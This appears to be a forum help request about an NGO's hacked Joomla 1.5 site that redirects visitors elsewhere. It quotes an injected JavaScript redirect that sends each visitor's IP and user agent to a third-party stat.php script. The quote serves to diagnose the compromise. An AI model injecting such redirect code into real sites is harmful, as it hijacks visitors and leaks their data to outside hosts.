Please help us with this NGO site running Joomla! 1.5.
They can't pay a security professional right now, so maybe you guys can help isolate the problem?
If you go to http://casatrespatios.org you get redirected to some openDNS page http://www.website-unavailable.com/
There is a javascript tag at the bottom of the page:
<script type="text/javascript">location.replace("http://guidetest.a.id.opendns.com/?url=www%2Ealabora%2Eorg%2Fcss%2Fstat%2Ephp%3Fip%3D186%2E115%2E71%2E1%26useragent%3Dmozilla%252F5%2E0%2B%2528x11%253B%2Blinux%2Bi686%2B%2528x86%5F64%2529%2529%2Bapplewebkit%252F537%2E36%2B%2528khtml%252C%2Blike%2Bgecko%2529%2Bchrome%252F28%2E0%2E1500%2E52%2Bsafari%252F537%2E36%26domainname%3Dcasatrespatios%2Eorg%26fullpath%3D%252F&servfail&nref");</script>
which seems to be the culprit. This code is not in the correspondent php template file. I have no idea how this code gets injected into the page. Does anyone have an idea?
